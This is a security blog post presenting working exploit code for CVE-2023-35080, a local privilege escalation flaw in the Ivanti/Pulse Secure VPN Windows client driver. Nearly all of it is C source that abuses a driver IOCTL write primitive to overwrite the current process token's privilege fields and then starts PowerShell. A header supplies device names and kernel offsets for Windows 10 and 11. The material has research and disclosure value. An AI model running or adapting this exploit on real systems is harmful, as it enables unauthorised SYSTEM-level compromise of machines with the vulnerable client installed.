Ivanti/Pulse VPN Client Privilege Escalation - Exploit Code of CVE-2023-35080
Northwave has identified several vulnerabilities in Ivanti Secure Access VPN, previously known as Pulse Secure VPN :
A few technical details were shared in the following article : https://northwave-cybersecurity.com/ivanti-pulse-vpn-privilege-escalation and were very usefull to build an exploit.
Following it and experimenting, it was possible to build a working exploit for CVE-2023-35080. It allows a normal user to exploit a write primitive in the Ivanti/Pulse VPN client windows driver in order to elevate privileges.
Full code exploiting the CVE-2023-35080 can be retrieved in the dedicated Github repository : https://github.com/HopHouse/Ivanti-Pulse_VPN-Client_Exploit-CVE-2023-35080_Privilege-escalation.
Main code
The following code was used to exploit the vulnerability :
#include "main.h"
void write_byte(void* arg)
{
Sleep(100);
WRITE_WHAT_WHERE_BYTE* bv = (WRITE_WHAT_WHERE*)arg;
BOOL res1 = SetThreadPriority(
GetCurrentThread(),
THREAD_MODE_BACKGROUND_BEGIN
);
if (res1 == 0) {
printf("[!][write_byte][%d - %d] Error while setting the thread priority\n", bv->id, bv->threadId);
}
size_t returned_bytes;
uint64_t* input_buffer = calloc(0x100, 1);
uint64_t* initial_buffer = calloc(0x100, 1);
uint64_t* buff_30h = calloc(0x100, 1);
uint64_t* iocsq_rsi_plus_8h = calloc(0x100, 1);
/*
* Configuring the pointer to hold the byte we want to write
* in the LSB. -0x50 at the end to compensate for the +0x50
* that is done inside the driver code
*/
uint64_t* buff_28h = ((uint8_t*)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) + 0x100 + bv->what - 0x50;
input_buffer[0] = initial_buffer;
initial_buffer[0x28 / sizeof(uint64_t)] = buff_28h;
initial_buffer[0x30 / sizeof(uint64_t)] = buff_30h;
iocsq_rsi_plus_8h[0] = bv->where;
iocsq_rsi_plus_8h[0x68 / sizeof(uint64_t)] = 1;
iocsq_rsi_plus_8h[0x18 / sizeof(uint64_t)] = 1; // Required to pass a check in write_char_0
iocsq_rsi_plus_8h[0x08 / sizeof(uint64_t)] = 0x1000; // Required to pass a check in write_char_0
buff_30h[(0x08 / sizeof(uint64_t))] = iocsq_rsi_plus_8h;
buff_28h[(0x50 / sizeof(uint64_t))] = bv->id; // Locked spin lock object
uint64_t ntoskrnl_base = 0;
GetKernelBase(&ntoskrnl_base);
//uint64_t HalMakeBeepOffset = 0;
//GetFunctionOffset("HalMakeBeep", &HalMakeBeepOffset);
//uint64_t KeAcquireQueuedSpinLockOffset = 0;
//GetFunctionOffset("KeAcquireQueuedSpinLock", &KeAcquireQueuedSpinLockOffset);
/*
* Setting Function pointers
*/
buff_28h[(0x50 / sizeof(uint64_t)) + (0x20 / sizeof(uint64_t))] = ntoskrnl_base + TRY_SPIN_OFFSET;
buff_28h[(0x50 / sizeof(uint64_t)) + (0x10 / sizeof(uint64_t))] = ntoskrnl_base + WRITE_CHAR_OFFSET;
buff_28h[(0x50 / sizeof(uint64_t)) + (0x28 / sizeof(uint64_t))] = ntoskrnl_base + SPIN_OFFSET;
DeviceIoControl(bv->hdev, VULN_IOCTL, input_buffer, 0x100, NULL, 0, &returned_bytes, NULL);
printf("[!][write_byte][%d - %d] This printf will never execute, unless we manually lift and fix the spinlock, Unfortunately this has executed : hdev : 0x%p - what : 0x%02X - where : 0x%llX\n", bv->id, bv->threadId, bv->hdev, bv->what, bv->where);
}
void write_mem(WRITE_WHAT_WHERE* bv)
{
printf("[+][write_mem] Trying to write :\n\tdevicePath : %ws\n\twhat : 0x%llX\n\twhere : 0x%llX\n", bv->devicePath, bv->what, bv->where);
HANDLE threads[8] = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL };
DWORD dwThreadIdArray[MAX_THREADS];
HANDLE hThreadArray[MAX_THREADS];
PWRITE_WHAT_WHERE_BYTE what_write_where_array[MAX_THREADS];
// Retrive all the 4 bytes of the 64-bytes
uint8_t what_uint8[] = { 0, 0, 0, 0, 0, 0, 0, 0 };
what_uint8[0] = (uint8_t)((bv->what & 0x00000000000000FF));
what_uint8[1] = (uint8_t)((bv->what & 0x000000000000FF00) >> 8);
what_uint8[2] = (uint8_t)((bv->what & 0x0000000000FF0000) >> 16);
what_uint8[3] = (uint8_t)((bv->what & 0x00000000FF000000) >> 24);
what_uint8[4] = (uint8_t)((bv->what & 0x000000FF00000000) >> 32);
what_uint8[5] = (uint8_t)((bv->what & 0x0000FF0000000000) >> 40);
what_uint8[6] = (uint8_t)((bv->what & 0x00FF000000000000) >> 48);
what_uint8[7] = (uint8_t)((bv->what & 0xFF00000000000000) >> 56);
uint8_t what_uint8_size = (sizeof(what_uint8) / sizeof(uint8_t));
for (int i = 0; i < what_uint8_size; i++) {
what_write_where_array[i] = (PWRITE_WHAT_WHERE_BYTE)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(WRITE_WHAT_WHERE_BYTE)
);
if (what_write_where_array[i] == NULL) {
printf("[!][write_mem][%d] Could not allocate the HEAP. Testing next thread.\n", i);
continue;
}
// Open the handle
HANDLE hDevice = NULL;
OpenDevice(&hDevice, bv->devicePath);
what_write_where_array[i]->id = i;
what_write_where_array[i]->threadId = 0;
what_write_where_array[i]->hdev = hDevice;
what_write_where_array[i]->where = bv->where + (uint64_t)(i * sizeof(uint8_t));
what_write_where_array[i]->what = what_uint8[i];
}
for (int i = 0; i < what_uint8_size; i++) {
DWORD dwThreadId = 0;
hThreadArray[i] = CreateThread(
NULL, // default security attributes
0, // use default stack size
write_byte, // thread function name
what_write_where_array[i], // argument to thread function
CREATE_SUSPENDED, // Create the thread in the default state
&dwThreadIdArray[i] // returns the thread identifier
);
if (hThreadArray[i] == NULL) {
printf("[!][write_mem][%d - %d] Error while creating the thread\n", i, dwThreadIdArray[i]);
ExitProcess(3);
}
what_write_where_array[i]->threadId = dwThreadIdArray[i];
}
for (int i = 0; i < what_uint8_size; i++) {
//printf("[+][write_mem][%d - %d] Resuming thread\n", i, dwThreadIdArray[i]);
DWORD res2 = ResumeThread(
hThreadArray[i]
);
if (res2 == -1) {
printf("[!][write_mem][%d - %d] Error resuming thread\n", i, dwThreadIdArray[i]);
}
}
printf("[+][write_mem] Wait for thread to complete\n");
Sleep(20000);
}
int wmain(int argc, wchar_t* argv[])
{
printf("[+] Strating program\n");
// Allocate memory which will hold the device path
LPCWSTR devicePath = (LPWSTR)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
(MAX_PATH + 1) * sizeof(WCHAR)
);
if (devicePath == NULL) {
PrintError(TEXT("malloc devicePath"));
return;
}
if (argc == 2) {
swprintf_s(devicePath, MAX_PATH, L"\\\\.\\%ws", argv[1]);
}
else {
swprintf_s(devicePath, MAX_PATH, L"\\\\.\\%ws", DEVICE_NAME_W);
}
// 1. Opening the token of the current process
HANDLE hToken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
printf("[+] Current process token address : 0x%p\n", hToken);
// 2. Finding the kernel pointer for this token object using the SystemExtendedHandleInformation class in the NtQuerySystemInformation API.
PVOID token_ptr = GetObjectPointedByHandle(hToken);
printf("[+] Kernel pointer for the token as PVOID : 0x%p\n", token_ptr);
// 3. Use the write primitive to overwrite the TOKEN->_SEP_TOKEN_PRIVILEGES->Enabled
// and TOKEN->_SEP_TOKEN_PRIVILEGES->Present fields to grant system level privileges to our process.
LPVOID allocated_ptr = VirtualAlloc(0x80002018, 4096 * sizeof(uint64_t), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (allocated_ptr == NULL)
{
PrintError(TEXT("VirtualAlloc"));
return;
}
uint64_t* new_ptr = (uint64_t*)allocated_ptr;
for (uint64_t i = 0; i < 4096; i++) {
*new_ptr = (uint64_t)0;
new_ptr++;
}
// Raise thread priority
int nPriority = ABOVE_NORMAL_PRIORITY_CLASS;
printf("[+] Make the process to only run on 1 CPU\n");
DWORD processAffinity = 1;
BOOL res1 = SetProcessAffinityMask(
GetCurrentProcess(),
processAffinity
);
if (res1 == 0) {
PrintError(TEXT("SetProcessAffinityMask"));
return;
}
printf("\n[+] Doing TOKEN->_SEP_TOKEN_PRIVILEGES->Present\n");
// TOKEN->_SEP_TOKEN_PRIVILEGES->Present
WRITE_WHAT_WHERE* payload1 = (PWRITE_WHAT_WHERE)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(WRITE_WHAT_WHERE)
);
if (payload1 == NULL) {
PrintError(TEXT("[!][payload1] Could not allocate the HEAP.\n"));
return;
}
payload1->devicePath = devicePath;
payload1->what = 0x0000001ff2ffffbc;
payload1->where = (uint64_t)token_ptr + (uint64_t)0x48;
write_mem(payload1);
printf("\n[+] Doing TOKEN->_SEP_TOKEN_PRIVILEGES->Enabled\n");
// TOKEN->_SEP_TOKEN_PRIVILEGES->Enabled
// write_mem('q', token_ptr + 0x48, 0x0000001ff2ffffbc);
/*WRITE_WHAT_WHERE payload2 = {
.devicePath = devicePath,
.what = 0x0000001ff2ffffbc,
.where = (uint64_t)token_ptr + (uint64_t)0x48,
};*/
WRITE_WHAT_WHERE* payload2 = (PWRITE_WHAT_WHERE)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(WRITE_WHAT_WHERE)
);
if (payload2 == NULL) {
PrintError(TEXT("[!][payload1] Could not allocate the HEAP.\n"));
return;
}
payload2->devicePath = devicePath;
payload2->what = 0x0000001ff2ffffbc;
payload2->where = (uint64_t)token_ptr + (uint64_t)0x40;
write_mem(payload2);
// Free pointer memory
if (allocated_ptr != NULL) {
VirtualFree(
allocated_ptr, // Base address of block
0, // Bytes of committed pages
MEM_RELEASE
);
}
// 4. Spawn your shell and test your privileges :
system("powershell.exe");
}The code contains some hardcoded values such as the offset of specific functions in ntoskrnl.exe.
#pragma once
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <winternl.h>
#define VULN_IOCTL 0x80002018
////////
/*
* jnprTdi_9115_15819 W10
*/
// #define DEVICE_NAME_W L"jnprTdi_9115_15819"
// // KxWaitForSpinLockAndAcquire
// #define SPIN_OFFSET 0x300ea0
// // KxTryToAcquireSpinLock
// #define TRY_SPIN_OFFSET 0x361758
// // void write_char(byte param_1,byte **param_2,int *param_3)
// #define WRITE_CHAR_OFFSET 0x3d5878
////////
/*
* jnprTdi_9117_18209 W11
*/
#define DEVICE_NAME_W L"jnprTdi_9117_18209"
// KxWaitForSpinLockAndAcquire
#define SPIN_OFFSET 0x300e9e
// KxTryToAcquireSpinLock
#define TRY_SPIN_OFFSET 0x361757
// void write_char(byte param_1,byte **param_2,int *param_3)
#define WRITE_CHAR_OFFSET 0x3d93f8
////////
#define MAX_THREADS 8
typedef struct
{
LPCWSTR devicePath;
uint64_t where;
uint64_t what;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
typedef struct
{
DWORD id;
DWORD threadId;
HANDLE hdev;
uint64_t where;
uint8_t what;
} WRITE_WHAT_WHERE_BYTE, * PWRITE_WHAT_WHERE_BYTE;
void write_byte(void*);
void write_mem(WRITE_WHAT_WHERE*);
// From kernel.h
BOOL BuildDevicePath(LPCWSTR, LPCWSTR);
BOOL OpenDevice(HANDLE*, LPCWSTR);
void GetFunctionOffset(LPCSTR, uint64_t*);
void GetKernelBase(uint64_t*);
PVOID GetObjectPointedByHandle(HANDLE);